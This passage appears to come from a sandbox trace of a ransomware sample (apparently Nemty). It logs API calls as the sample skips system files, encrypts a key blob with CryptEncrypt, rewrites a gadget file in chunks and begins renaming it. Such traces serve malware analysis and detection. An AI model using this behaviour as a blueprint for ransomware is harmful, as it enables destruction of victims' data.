lpString2="CONFIG.SYS") returned 1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="RECYCLER") returned -1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="BOOTSECT.BAK") returned 1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="bootmgr") returned 1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="programdata") returned -1 [0133.713] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2="appdata") returned 1 [0133.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0133.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCESidebarCtrl.dll", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0133.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCESidebarCtrl.dll", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCESidebarCtrl.dll", lpUsedDefaultChar=0x0) returned 18 [0133.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0133.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCESidebarCtrl.dll", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0133.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCESidebarCtrl.dll", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCESidebarCtrl.dll", lpUsedDefaultChar=0x0) returned 18 [0133.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0133.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0133.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0133.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCESidebarCtrl.dll", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0133.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCESidebarCtrl.dll", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCESidebarCtrl.dll", lpUsedDefaultChar=0x0) returned 18 [0133.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0133.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0133.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCESidebarCtrl.dll", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0133.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCESidebarCtrl.dll", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCESidebarCtrl.dll", lpUsedDefaultChar=0x0) returned 18 [0133.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0133.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0133.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0133.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.714] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5862, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings.html", cAlternateFileName="")) returned 1 [0133.714] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1 [0133.714] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1 [0133.714] lstrcmpiW (lpString1="settings.html", lpString2="...") returned 1 [0133.714] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1 [0133.714] lstrcmpiW (lpString1="settings.html", lpString2="$RECYCLE.BIN") returned 1 [0133.714] lstrcmpiW (lpString1="settings.html", lpString2="rsa") returned 1 [0133.714] lstrcmpiW (lpString1="settings.html", lpString2="NTDETECT.COM") returned 1 [0133.714] lstrcmpiW (lpString1="settings.html", lpString2="ntldr") returned 1 [0133.714] lstrcmpiW (lpString1="settings.html", lpString2="MSDOS.SYS") returned 1 [0133.714] lstrcmpiW (lpString1="settings.html", lpString2="IO.SYS") returned 1 [0133.714] lstrcmpiW (lpString1="settings.html", lpString2="boot.ini") returned 1 [0133.714] lstrcmpiW (lpString1="settings.html", lpString2="boot.ini") returned 1 [0133.714] lstrcmpiW (lpString1="settings.html", lpString2="AUTOEXEC.BAT") returned 1 [0133.715] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1 [0133.715] lstrcmpiW (lpString1="settings.html", lpString2="desktop.ini") returned 1 [0133.715] lstrcmpiW (lpString1="settings.html", lpString2="CONFIG.SYS") returned 1 [0133.715] lstrcmpiW (lpString1="settings.html", lpString2="RECYCLER") returned 1 [0133.715] lstrcmpiW (lpString1="settings.html", lpString2="BOOTSECT.BAK") returned 1 [0133.715] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1 [0133.715] lstrcmpiW (lpString1="settings.html", lpString2="programdata") returned 1 [0133.715] lstrcmpiW (lpString1="settings.html", lpString2="appdata") returned 1 [0133.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0133.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ef10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0133.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0133.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ef10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0133.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0133.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ef60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0133.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0133.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ef98, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0133.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0133.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0133.715] Sleep (dwMilliseconds=0x5) [0133.721] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x359cf30, dwHighDateTime=0x1d561e8)) [0133.721] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x359cf30, dwHighDateTime=0x1d561e8)) [0133.721] GetLastError () returned 0x5 [0133.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.721] GetLastError () returned 0x5 [0133.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.721] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0133.721] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0133.721] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0133.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0133.721] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653ec5c | out: pszString="z718mSNG4DYtPqDY2OI1nADiUyOT6g9sRHQySsi6rGn2ahcsYa2Z+C4tJ1/5udrm\r\n/a3GfqS+o/6EpsYKyb+6oWrTfARuEv4TjBonn9/q9wDS+euR9uaKjyBkrUEbqhef\r\nVq4yBcgJFyVJwrJSJeunsACZ4A+k9A+xyInBGaf073HchPYG943Q2sCYVNZCj955\r\nILFDLX76G9yf5wdQdXD5rT6v9gEcnU3vRAoAHjxUADzPxy0k+w5wm0NsAi84iiUi\r\nOh3+EzakYHTN+FBtxmO5nZw+oeVauzkbz4jWrJ0WKX4w0MEJgOxOXKPDHZlw5M9f\r\n9q9t/LFmfA0Uz1ibyWQTUQ==\r\n", pcchString=0x653ec5c) returned 1 [0133.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0133.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0133.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0133.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0133.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0133.722] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\settings.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0133.722] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0133.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0133.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.731] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.731] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.750] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.760] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.760] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.775] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.775] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.784] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.784] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.794] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.803] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.803] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.813] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.822] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.828] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.835] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0133.835] CloseHandle (hObject=0xffffffff) returned 0 [0133.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0133.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0133.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0133.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0133.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\settings.html"), lpNewFileName="C:\\Program Files\\Windows 